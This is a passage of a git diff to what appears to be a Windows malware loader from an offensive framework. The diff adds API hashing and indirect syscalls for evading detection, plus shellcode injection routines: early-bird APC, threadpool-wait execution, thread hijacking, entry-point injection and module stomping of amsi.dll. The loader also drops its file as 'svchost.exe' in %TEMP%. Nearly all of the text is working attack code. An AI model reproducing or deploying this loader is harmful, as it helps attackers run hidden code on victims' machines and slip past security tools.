pProcs->lpNtDuplicateObject = reinterpret_cast(pNtDuplicateObject); + PVOID pNtWaitForSingleObject = GetProcAddressByHash(hNTDLL, APIHASH_NTWAITFORSINGLEOBJECT); + pProcs->lpNtWaitForSingleObject = reinterpret_cast(pNtWaitForSingleObject); + PVOID pNtClose = GetProcAddressByHash(hNTDLL, APIHASH_NTCLOSE); + pProcs->lpNtClose = reinterpret_cast(pNtClose); + PVOID pNtCreateFile = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATEFILE); + pProcs->lpNtCreateFile = reinterpret_cast(pNtCreateFile); + PVOID pNtReadFile = GetProcAddressByHash(hNTDLL, APIHASH_NTREADFILE); + pProcs->lpNtReadFile = reinterpret_cast(pNtReadFile); + PVOID pNtWriteFile = GetProcAddressByHash(hNTDLL, APIHASH_NTWRITEFILE); + pProcs->lpNtWriteFile = reinterpret_cast(pNtWriteFile); + PVOID pNtUnmapViewOfSection = GetProcAddressByHash(hNTDLL, APIHASH_NTUNMAPVIEWOFSECTION); + pProcs->lpNtUnmapViewOfSection = reinterpret_cast(pNtUnmapViewOfSection); // NTAPIs (Runtime Library) - pProcs->lpRtlAllocateHeap = reinterpret_cast(GetProcAddress(hNTDLL, "RtlAllocateHeap")); - pProcs->lpRtlZeroMemory = reinterpret_cast(GetProcAddress(hNTDLL, "RtlZeroMemory")); - pProcs->lpRtlInitUnicodeString = reinterpret_cast(GetProcAddress(hNTDLL, "RtlInitUnicodeString")); - pProcs->lpRtlStringCchCatW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCatW")); - pProcs->lpRtlStringCchCopyW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchCopyW")); - pProcs->lpRtlStringCchLengthW = reinterpret_cast(GetProcAddress(hNTDLL, "RtlStringCchLengthW")); - pProcs->lpRtlNtStatusToDosError = reinterpret_cast(GetProcAddress(hNTDLL, "RtlNtStatusToDosError")); - pProcs->lpRtlGetFullPathName_U = reinterpret_cast(GetProcAddress(hNTDLL, "RtlGetFullPathName_U")); + PVOID pRtlAllocateHeap = GetProcAddressByHash(hNTDLL, APIHASH_RTLALLOCATEHEAP); + pProcs->lpRtlAllocateHeap = reinterpret_cast(pRtlAllocateHeap); + PVOID pRtlZeroMemory = GetProcAddressByHash(hNTDLL, APIHASH_RTLZEROMEMORY); + pProcs->lpRtlZeroMemory = reinterpret_cast(pRtlZeroMemory); + PVOID pRtlInitUnicodeString = GetProcAddressByHash(hNTDLL, APIHASH_RTLINITUNICODESTRING); + pProcs->lpRtlInitUnicodeString = reinterpret_cast(pRtlInitUnicodeString); + PVOID pRtlStringCchCatW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCATW); + pProcs->lpRtlStringCchCatW = reinterpret_cast(pRtlStringCchCatW); + PVOID pRtlStringCchCopyW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCCHCOPYW); + pProcs->lpRtlStringCchCopyW = reinterpret_cast(pRtlStringCchCopyW); + PVOID pRtlStringCchLengthW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCCHLENGTHW); + pProcs->lpRtlStringCchLengthW = reinterpret_cast(pRtlStringCchLengthW); + PVOID pRtlGetFullPathName_U = GetProcAddressByHash(hNTDLL, APIHASH_RTLGETFULLPATHNAME_U); + pProcs->lpRtlGetFullPathName_U = reinterpret_cast(pRtlGetFullPathName_U); // WINAPIs - pProcs->lpWinHttpOpen = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpen")); - pProcs->lpWinHttpConnect = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpConnect")); - pProcs->lpWinHttpOpenRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpenRequest")); - pProcs->lpWinHttpSetOption = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSetOption")); - pProcs->lpWinHttpSendRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSendRequest")); - pProcs->lpWinHttpWriteData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpWriteData")); - pProcs->lpWinHttpReceiveResponse = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReceiveResponse")); - pProcs->lpWinHttpQueryHeaders = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryHeaders")); - pProcs->lpWinHttpQueryDataAvailable = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryDataAvailable")); - pProcs->lpWinHttpReadData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReadData")); - pProcs->lpWinHttpCloseHandle = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpCloseHandle")); + PVOID pCreateThreadpoolWait = GetProcAddressByHash(hKernel32DLL, APIHASH_CREATETHREADPOOLWAIT); + pProcs->lpCreateThreadpoolWait = reinterpret_cast(pCreateThreadpoolWait); + PVOID pSetThreadpoolWait = GetProcAddressByHash(hKernel32DLL, APIHASH_SETTHREADPOOLWAIT); + pProcs->lpSetThreadpoolWait = reinterpret_cast(pSetThreadpoolWait); + PVOID pWinHttpOpen = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPOPEN); + pProcs->lpWinHttpOpen = reinterpret_cast(pWinHttpOpen); + PVOID pWinHttpConnect = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPCONNECT); + pProcs->lpWinHttpConnect = reinterpret_cast(pWinHttpConnect); + PVOID pWinHttpOpenRequest = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPOPENREQUEST); + pProcs->lpWinHttpOpenRequest = reinterpret_cast(pWinHttpOpenRequest); + PVOID pWinHttpSetOption = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPSETOPTION); + pProcs->lpWinHttpSetOption = reinterpret_cast(pWinHttpSetOption); + PVOID pWinHttpSendRequest = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPSENDREQUEST); + pProcs->lpWinHttpSendRequest = reinterpret_cast(pWinHttpSendRequest); + PVOID pWinHttpWriteData = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPWRITEDATA); + pProcs->lpWinHttpWriteData = reinterpret_cast(pWinHttpWriteData); + PVOID pWinHttpReceiveResponse = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPRECEIVERESPONSE); + pProcs->lpWinHttpReceiveResponse = reinterpret_cast(pWinHttpReceiveResponse); + PVOID pWinHttpQueryHeaders = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPQUERYHEADERS); + pProcs->lpWinHttpQueryHeaders = reinterpret_cast(pWinHttpQueryHeaders); + PVOID pWinHttpQueryDataAvailable = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPQUERYDATAAVAILABLE); + pProcs->lpWinHttpQueryDataAvailable = reinterpret_cast(pWinHttpQueryDataAvailable); + PVOID pWinHttpReadData = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPREADDATA); + pProcs->lpWinHttpReadData = reinterpret_cast(pWinHttpReadData); + PVOID pWinHttpCloseHandle = GetProcAddressByHash(hWinHTTPDLL, APIHASH_WINHTTPCLOSEHANDLE); + pProcs->lpWinHttpCloseHandle = reinterpret_cast(pWinHttpCloseHandle); if (bIndirectSyscall) { - pProcs->sysNtCreateProcessEx = Syscalls::FindSyscall(hNTDLL, "NtCreateProcessEx"); - pProcs->sysNtOpenProcess = Syscalls::FindSyscall(hNTDLL, "NtOpenProcess"); - pProcs->sysNtOpenProcessToken = Syscalls::FindSyscall(hNTDLL, "NtOpenProcessToken"); - pProcs->sysNtTerminateProcess = Syscalls::FindSyscall(hNTDLL, "NtTerminateProcess"); - pProcs->sysNtQueryInformationProcess = Syscalls::FindSyscall(hNTDLL, "NtQueryInformationProcess"); - pProcs->sysNtSetInformationProcess = Syscalls::FindSyscall(hNTDLL, "NtSetInformationProcess"); - pProcs->sysNtCreateThreadEx = Syscalls::FindSyscall(hNTDLL, "NtCreateThreadEx"); - pProcs->sysNtOpenThread = Syscalls::FindSyscall(hNTDLL, "NtOpenThread"); - pProcs->sysNtResumeThread = Syscalls::FindSyscall(hNTDLL, "NtResumeThread"); - pProcs->sysNtGetContextThread = Syscalls::FindSyscall(hNTDLL, "NtGetContextThread"); - pProcs->sysNtSetContextThread = Syscalls::FindSyscall(hNTDLL, "NtSetContextThread"); - pProcs->sysNtAllocateVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtAllocateVirtualMemory"); - pProcs->sysNtReadVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtReadVirtualMemory"); - pProcs->sysNtWriteVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtWriteVirtualMemory"); - pProcs->sysNtProtectVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtProtectVirtualMemory"); - pProcs->sysNtFreeVirtualMemory = Syscalls::FindSyscall(hNTDLL, "NtFreeVirtualMemory"); - pProcs->sysNtWaitForSingleObject = Syscalls::FindSyscall(hNTDLL, "NtWaitForSingleObject"); - pProcs->sysNtClose = Syscalls::FindSyscall(hNTDLL, "NtClose"); - pProcs->sysNtCreateFile = Syscalls::FindSyscall(hNTDLL, "NtCreateFile"); - pProcs->sysNtReadFile = Syscalls::FindSyscall(hNTDLL, "NtReadFile"); - pProcs->sysNtWriteFile = Syscalls::FindSyscall(hNTDLL, "NtWriteFile"); - pProcs->sysNtQueryInformationFile = Syscalls::FindSyscall(hNTDLL, "NtQueryInformationFile"); - pProcs->sysNtUnmapViewOfSection = Syscalls::FindSyscall(hNTDLL, "NtUnmapViewOfSection"); - - pProcs->sysRtlInitUnicodeString = Syscalls::FindSyscall(hNTDLL, "RtlInitUnicodeString"); - pProcs->sysRtlGetFullPathName_U = Syscalls::FindSyscall(hNTDLL, "RtlGetFullPathName_U"); + pProcs->sysNtCreateProcessEx = Syscalls::FindSyscall(reinterpret_cast(pNtCreateProcessEx)); + pProcs->sysNtOpenProcess = Syscalls::FindSyscall(reinterpret_cast(pNtOpenProcess)); + pProcs->sysNtOpenProcessToken = Syscalls::FindSyscall(reinterpret_cast(pNtOpenProcessToken)); + pProcs->sysNtTerminateProcess = Syscalls::FindSyscall(reinterpret_cast(pNtTerminateProcess)); + pProcs->sysNtQueryInformationProcess = Syscalls::FindSyscall(reinterpret_cast(pNtQueryInformationProcess)); + pProcs->sysNtSetInformationProcess = Syscalls::FindSyscall(reinterpret_cast(pNtSetInformationProcess)); + pProcs->sysNtCreateThreadEx = Syscalls::FindSyscall(reinterpret_cast(pNtCreateThreadEx)); + pProcs->sysNtOpenThread = Syscalls::FindSyscall(reinterpret_cast(pNtOpenThread)); + pProcs->sysNtResumeThread = Syscalls::FindSyscall(reinterpret_cast(pNtResumeThread)); + pProcs->sysNtGetContextThread = Syscalls::FindSyscall(reinterpret_cast(pNtGetContextThread)); + pProcs->sysNtSetContextThread = Syscalls::FindSyscall(reinterpret_cast(pNtSetContextThread)); + pProcs->sysNtAllocateVirtualMemory = Syscalls::FindSyscall(reinterpret_cast(pNtAllocateVirtualMemory)); + pProcs->sysNtReadVirtualMemory = Syscalls::FindSyscall(reinterpret_cast(pNtReadVirtualMemory)); + pProcs->sysNtWriteVirtualMemory = Syscalls::FindSyscall(reinterpret_cast(pNtWriteVirtualMemory)); + pProcs->sysNtProtectVirtualMemory = Syscalls::FindSyscall(reinterpret_cast(pNtProtectVirtualMemory)); + pProcs->sysNtFreeVirtualMemory = Syscalls::FindSyscall(reinterpret_cast(pNtFreeVirtualMemory)); + pProcs->sysNtWaitForSingleObject = Syscalls::FindSyscall(reinterpret_cast(pNtWaitForSingleObject)); + pProcs->sysNtClose = Syscalls::FindSyscall(reinterpret_cast(pNtClose)); + pProcs->sysNtCreateFile = Syscalls::FindSyscall(reinterpret_cast(pNtCreateFile)); + pProcs->sysNtReadFile = Syscalls::FindSyscall(reinterpret_cast(pNtReadFile)); + pProcs->sysNtWriteFile = Syscalls::FindSyscall(reinterpret_cast(pNtWriteFile)); + pProcs->sysNtQueryInformationFile = Syscalls::FindSyscall(reinterpret_cast(pNtQueryInformationProcess)); + pProcs->sysNtUnmapViewOfSection = Syscalls::FindSyscall(reinterpret_cast(pNtUnmapViewOfSection)); + + pProcs->sysRtlInitUnicodeString = Syscalls::FindSyscall(reinterpret_cast(pRtlInitUnicodeString)); + pProcs->sysRtlGetFullPathName_U = Syscalls::FindSyscall(reinterpret_cast(pRtlGetFullPathName_U)); } return pProcs; diff --git a/payload/win/loader/src/core/state.cpp b/payload/win/loader/src/core/state.cpp index 367f4d2..724244c 100644 --- a/payload/win/loader/src/core/state.cpp +++ b/payload/win/loader/src/core/state.cpp @@ -20,6 +20,7 @@ namespace State ); // Free loaded modules. + FreeLibrary(pState->hKernel32DLL); FreeLibrary(pState->hNTDLL); FreeLibrary(pState->hWinHTTPDLL); diff --git a/payload/win/loader/src/core/syscalls.cpp b/payload/win/loader/src/core/syscalls.cpp index d29f287..add54bb 100644 --- a/payload/win/loader/src/core/syscalls.cpp +++ b/payload/win/loader/src/core/syscalls.cpp @@ -2,20 +2,12 @@ namespace Syscalls { - // Get a syscall number and address for a given function. - SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc) + SYSCALL FindSyscall(UINT_PTR pNtFuncAddr) { SYSCALL syscall; - UINT_PTR pNtFuncAddr = (UINT_PTR)nullptr; BYTE syscallOpcode[2] = {0x0F, 0x05}; - pNtFuncAddr = (UINT_PTR)GetProcAddress(hNTDLL, lpNtFunc); - if (!pNtFuncAddr) - { - return syscall; - } - syscall.dwSSN = ((PBYTE)(pNtFuncAddr + 4))[0]; syscall.pAddr = pNtFuncAddr + 0x12; diff --git a/payload/win/loader/src/core/technique/injection/dll_injection.cpp b/payload/win/loader/src/core/technique/injection/dll_injection.cpp index 3ef57d8..2c51486 100644 --- a/payload/win/loader/src/core/technique/injection/dll_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/dll_injection.cpp @@ -34,7 +34,7 @@ namespace Technique::Injection::Helper DWORD dwCompiledArch = 1; #endif - UINT_PTR uBaseAddr = (UINT_PTR)lpBuffer; + UINT_PTR uBaseAddr = (UINT_PTR)lpBuffer; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(uBaseAddr + (PIMAGE_DOS_HEADER)uBaseAddr); PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uBaseAddr + ((PIMAGE_DOS_HEADER)uBaseAddr)->e_lfanew); @@ -87,7 +87,7 @@ namespace Technique::Injection BOOL DLLInjection( Procs::PPROCS pProcs, DWORD dwPID, - std::vector bytes + const std::vector& bytes ) { HANDLE hProcess; HANDLE hThread; @@ -222,10 +222,10 @@ namespace Technique::Injection BOOL ReflectiveDLLInjection( Procs::PPROCS pProcs, DWORD dwPID, - std::vector bytes + const std::vector& bytes ) { - LPVOID lpBuffer = bytes.data(); - SIZE_T dwLength = bytes.size(); + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); HANDLE hToken; TOKEN_PRIVILEGES priv = {0}; @@ -261,7 +261,7 @@ namespace Technique::Injection pProcs, hProcess, nullptr, - dwLength, + dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); @@ -278,9 +278,9 @@ namespace Technique::Injection hProcess, lpRemoteBuffer, lpBuffer, - dwLength, + dwBufferSize, &dwNumberOfWritten - ) || dwNumberOfWritten != dwLength) { + ) || dwNumberOfWritten != dwBufferSize) { System::Process::VirtualMemoryFree(pProcs, hProcess, &lpRemoteBuffer, 0, MEM_RELEASE); System::Handle::HandleClose(pProcs, hProcess); return FALSE; @@ -292,7 +292,7 @@ namespace Technique::Injection pProcs, hProcess, &lpRemoteBuffer, - &dwLength, + &dwBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtect )) { diff --git a/payload/win/loader/src/core/technique/injection/pe_injection.cpp b/payload/win/loader/src/core/technique/injection/pe_injection.cpp index 57e71e5..3b93559 100644 --- a/payload/win/loader/src/core/technique/injection/pe_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/pe_injection.cpp @@ -3,10 +3,10 @@ namespace Technique::Injection { BOOL DirectExecution( - Procs::PPROCS pProcs, - std::vector bytes + Procs::PPROCS pProcs, + const std::vector& bytes ) { - // Set the temp file path + // Set the temp file path std::wstring wExeFileName = L"svchost.exe"; // Impersonate the file name. std::wstring wExePath = System::Env::GetStrings(L"%TEMP%") + L"\\" + wExeFileName; @@ -19,26 +19,17 @@ namespace Technique::Injection return System::Process::ExecuteFile(pProcs, wExePath); } - // Reference: - // https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes - BOOL PEInjection( - Procs::PPROCS pProcs - ) { - // TODO: Implement - return FALSE; - } - // References: // https://github.com/NATsCodes/ProcessHollowing/blob/master/Process%20Hollowing.cpp BOOL ProcessHollowing( - Procs::PPROCS pProcs, - LPVOID lpBuffer, - const std::wstring &wTargetProcess + Procs::PPROCS pProcs, + const std::wstring &wTargetProcess, + const std::vector& bytes ) { NTSTATUS status; - // Read source EXE file - LPBYTE lpbBuffer = (LPBYTE)lpBuffer; + LPVOID lpBuffer = (LPVOID)bytes.data(); + LPBYTE lpbBuffer = (LPBYTE)bytes.data(); // Create destination (suspended) process to be hollowed LPSTARTUPINFOW lpStartupInfo = new STARTUPINFOW(); diff --git a/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp b/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp index a0e6ab0..b2779d0 100644 --- a/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp @@ -2,14 +2,17 @@ namespace Technique::Injection { - BOOL ShellcodeInjection(Procs::PPROCS pProcs, DWORD dwPID, const std::vector& shellcode) - { + BOOL ShellcodeInjection( + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes + ) { HANDLE hProcess; HANDLE hThread; LPVOID lpRemoteBuffer; - LPVOID lpBuffer = (LPVOID)shellcode.data(); - SIZE_T dwBufferLen = shellcode.size(); + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); hProcess = System::Process::ProcessOpen( pProcs, @@ -25,7 +28,7 @@ namespace Technique::Injection pProcs, hProcess, nullptr, - dwBufferLen, + dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); @@ -40,7 +43,7 @@ namespace Technique::Injection hProcess, lpRemoteBuffer, lpBuffer, - dwBufferLen, + dwBufferSize, NULL )) { System::Process::VirtualMemoryFree(pProcs, hProcess, &lpRemoteBuffer, 0, MEM_RELEASE); @@ -54,7 +57,7 @@ namespace Technique::Injection pProcs, hProcess, &lpRemoteBuffer, - &dwBufferLen, + &dwBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtect )) { @@ -86,18 +89,23 @@ namespace Technique::Injection // Reference: // https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber - BOOL ShellcodeExecutionViaFibers(Procs::PPROCS pProcs, const std::vector& shellcode) - { + BOOL ShellcodeExecutionViaFibers( + Procs::PPROCS pProcs, + const std::vector& bytes + ) { + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); + // Convert the current thread into a fiber. PVOID mainFiber = ConvertThreadToFiber(nullptr); LPVOID scAddr = VirtualAlloc( NULL, - shellcode.size(), + dwBufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - memcpy(scAddr, shellcode.data(), shellcode.size()); + memcpy(scAddr, lpBuffer, dwBufferSize); PVOID scFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)scAddr, NULL); SwitchToFiber(scFiber); @@ -107,17 +115,22 @@ namespace Technique::Injection // Reference: // https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert - BOOL ShellcodeExecutionViaAPCAndNtTestAlert(Procs::PPROCS pProcs, const std::vector& shellcode) - { + BOOL ShellcodeExecutionViaAPCAndNtTestAlert( + Procs::PPROCS pProcs, + const std::vector& bytes + ) { using MY_NTSTATUS = NTSTATUS(NTAPI*)(); + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); + MY_NTSTATUS testAlert = (MY_NTSTATUS)(GetProcAddress( GetModuleHandleA("ntdll"), "NtTestAlert" )); - LPVOID scAddr = VirtualAlloc(nullptr, shellcode.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); - WriteProcessMemory(GetCurrentProcess(), scAddr, shellcode.data(), shellcode.size(), nullptr); + LPVOID scAddr = VirtualAlloc(nullptr, dwBufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + WriteProcessMemory(GetCurrentProcess(), scAddr, lpBuffer, dwBufferSize, nullptr); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)scAddr; QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), 0); @@ -125,4 +138,461 @@ namespace Technique::Injection return TRUE; } + + BOOL EarlyBirdAPCQueueCodeInjection( + Procs::PPROCS pProcs, + const std::wstring& wTargetProcess, + const std::vector& bytes + ) { + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); + + STARTUPINFO si = {0}; + PROCESS_INFORMATION pi = {0}; + + if (!CreateProcessW( + nullptr, + const_cast(wTargetProcess.c_str()), + nullptr, + nullptr, + FALSE, + CREATE_SUSPENDED, + nullptr, + nullptr, + &si, + &pi + )) { + return FALSE; + } + + HANDLE hProcess = pi.hProcess; + HANDLE hThread = pi.hThread; + + LPVOID lpBaseAddr = System::Process::VirtualMemoryAllocate( + pProcs, + hProcess, + nullptr, + dwBufferSize, + MEM_COMMIT, + PAGE_EXECUTE_READWRITE + ); + if (!lpBaseAddr) + { + CloseHandle(hThread); + CloseHandle(hProcess); + return FALSE; + } + + PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)lpBaseAddr; + + if (System::Process::VirtualMemoryWrite( + pProcs, + hProcess, + lpBaseAddr, + lpBuffer, + dwBufferSize, + nullptr + )) { + QueueUserAPC((PAPCFUNC)apcRoutine, hThread, 0); + ResumeThread(hThread); + } + + CloseHandle(hThread); + CloseHandle(hProcess); + + return TRUE; + } + + BOOL ShellcodeExecutionViaCreateThreadpoolWait( + Procs::PPROCS pProcs, + const std::vector& bytes + ) { + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); + + HANDLE hEvent = CreateEvent(nullptr, FALSE, TRUE, nullptr); + if (!hEvent) + { + return FALSE; + } + + LPVOID lpBaseAddr = System::Process::VirtualMemoryAllocate( + pProcs, + NtCurrentProcess(), + nullptr, + dwBufferSize, + MEM_COMMIT, + PAGE_EXECUTE_READWRITE + ); + if (!lpBaseAddr) + { + System::Handle::HandleClose(pProcs, hEvent); + return FALSE; + } + + RtlMoveMemory(lpBaseAddr, lpBuffer, dwBufferSize); + + PTP_WAIT pThreadPoolWait = pProcs->lpCreateThreadpoolWait((PTP_WAIT_CALLBACK)lpBaseAddr, nullptr, nullptr); + if (!pThreadPoolWait) + { + System::Handle::HandleClose(pProcs, hEvent); + return FALSE; + } + + pProcs->lpSetThreadpoolWait(pThreadPoolWait, hEvent, nullptr); + System::Handle::HandleWait(pProcs, hEvent, FALSE, nullptr); + + System::Process::VirtualMemoryFree( + pProcs, + NtCurrentProcess(), + &lpBaseAddr, + 0, + MEM_RELEASE + ); + System::Handle::HandleClose(pProcs, hEvent); + + return TRUE; + } + + BOOL ThreadExecutionHijacking( + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes + ) { + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); + + CONTEXT context; + context.ContextFlags = CONTEXT_FULL; + + THREADENTRY32 te32; + te32.dwSize = sizeof(THREADENTRY32); + + HANDLE hProcess = System::Process::ProcessOpen( + pProcs, + dwPID, + PROCESS_ALL_ACCESS + ); + if (!hProcess) + { + return FALSE; + } + + LPVOID lpBaseAddr = System::Process::VirtualMemoryAllocate( + pProcs, + hProcess, + nullptr, + dwBufferSize, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ); + if (!lpBaseAddr) + { + return FALSE; + } + + if (!System::Process::VirtualMemoryWrite( + pProcs, + hProcess, + lpBaseAddr, + lpBuffer, + dwBufferSize, + nullptr + )) { + System::Process::VirtualMemoryFree( + pProcs, + hProcess, + &lpBaseAddr, + 0, + MEM_RELEASE + ); + return FALSE; + } + + HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + Thread32First(hSnap, &te32); + + HANDLE hThread; + while (Thread32Next(hSnap, &te32)) + { + if (te32.th32OwnerProcessID == dwPID) + { + hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID); + break; + } + } + + if (SuspendThread(hThread) == -1) + { + return FALSE; + } + + if (!GetThreadContext(hThread, &context)) + { + return FALSE; + } + if (!SetThreadContext(hThread, &context)) + { + return FALSE; + } + if (!ResumeThread(hThread) == -1) + { + return FALSE; + } + + return TRUE; + } + + BOOL AddressOfEntryPointInjection( + Procs::PPROCS pProcs, + const std::wstring& wTargetProcess, + const std::vector& bytes + ) { + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); + + STARTUPINFOW si; + PROCESS_INFORMATION pi; + PROCESS_BASIC_INFORMATION pbi; + DWORD dwReturnLength = 0; + + if (!CreateProcessW( + nullptr, + const_cast(wTargetProcess.c_str()), + nullptr, + nullptr, + FALSE, + CREATE_SUSPENDED, + nullptr, + nullptr, + &si, + &pi + )) { + return FALSE; + } + + HANDLE hProcess = pi.hProcess; + HANDLE hThread = pi.hThread; + + // Get target image PEB address and pointer to image base. + NTSTATUS status = CallSysInvoke( + &pProcs->sysNtQueryInformationProcess, + pProcs->lpNtQueryInformationProcess, + hProcess, + ProcessBasicInformation, + &pbi, + sizeof(PROCESS_BASIC_INFORMATION), + &dwReturnLength + ); + if (status != STATUS_SUCCESS) + { + return FALSE; + } + + #ifdef _WIN64 + DWORD_PTR dwPebOffset = (DWORD_PTR)pbi.PebBaseAddress + 0x10; + #else + DWORD_PTR dwPebOffset = (DWORD_PTR)pbi.PebBaseAddress + 8; + #endif + + // Get target process image base address. + LPVOID lpImageBase; + SIZE_T dwBytesRead; + + #ifdef _WIN64 + if (!System::Process::VirtualMemoryRead( + pProcs, + hProcess, + (PVOID)dwPebOffset, + &lpImageBase, + sizeof(PVOID), + &dwBytesRead + )) { + return FALSE; + } + #else + if (!System::Process::VirtualMemoryRead( + pProcs, + hProcess, + (PVOID)dwPebOffset, + &lpImageBase, + sizeof(PVOID), + &dwBytesRead + )) { + return FALSE; + } + #endif + + // Read target process image headers + BYTE headersBuffer[4096] = {}; + if (!System::Process::VirtualMemoryRead( + pProcs, + hProcess, + (PVOID)lpImageBase, + headersBuffer, + 4096, + nullptr + )) { + return FALSE; + } + + // Get AddressOfEntryPoint + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)headersBuffer; + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + pDosHeader->e_lfanew); + LPVOID lpCodeEntry = (LPVOID)((LPBYTE)lpImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + + // Write shellcode to image entry point and execute it. + if (!System::Process::VirtualMemoryWrite( + pProcs, + hProcess, + lpCodeEntry, + lpBuffer, + dwBufferSize, + nullptr + )) { + return FALSE; + } + + if (ResumeThread(hThread) == -1) + { + return FALSE; + } + + return TRUE; + } + + // Reference: + // https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection + BOOL ModuleStomping( + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes + ) { + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); + + HANDLE hProcess = System::Process::ProcessOpen( + pProcs, + dwPID, + PROCESS_ALL_ACCESS + ); + if (!hProcess) + { + return FALSE; + } + + wchar_t wModuleToInject[] = L"C:\\windows\\system32\\amsi.dll"; + + LPVOID lpRemoteBuffer = System::Process::VirtualMemoryAllocate( + pProcs, + hProcess, + nullptr, + sizeof(wModuleToInject), + MEM_COMMIT, + PAGE_READWRITE + ); + if (!lpRemoteBuffer) + { + return FALSE; + } + + if (!System::Process::VirtualMemoryWrite( + pProcs, + hProcess, + lpRemoteBuffer, + (LPVOID)wModuleToInject, + sizeof(wModuleToInject), + nullptr + )) { + return FALSE; + } + + PTHREAD_START_ROUTINE pThreadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress( + GetModuleHandle(TEXT("Kernel32")), + "LoadLibraryW" + ); + + HANDLE hThread = System::Process::RemoteThreadCreate( + pProcs, + hProcess, + pThreadRoutine, + lpRemoteBuffer + ); + if (!hThread) + { + return FALSE; + } + if (!System::Handle::HandleWait(pProcs, hThread, FALSE, nullptr)) + { + return FALSE; + } + + // Find base address of the injected benign DLL in remote process. + HMODULE modules[256] = {}; + SIZE_T dwModulesSize = sizeof(modules); + DWORD dwModulesSizeNeeded = 0; + DWORD dwModuleNameSize = 0; + + EnumProcessModules(hProcess, modules, dwModulesSize, &dwModulesSizeNeeded); + SIZE_T dwModulesCount = dwModulesSizeNeeded / sizeof(HMODULE); + HMODULE hRemoteModule; + CHAR sRemoteModuleName[128] = {}; + for (size_t i = 0; i < dwModulesCount; i++) + { + hRemoteModule = modules[i]; 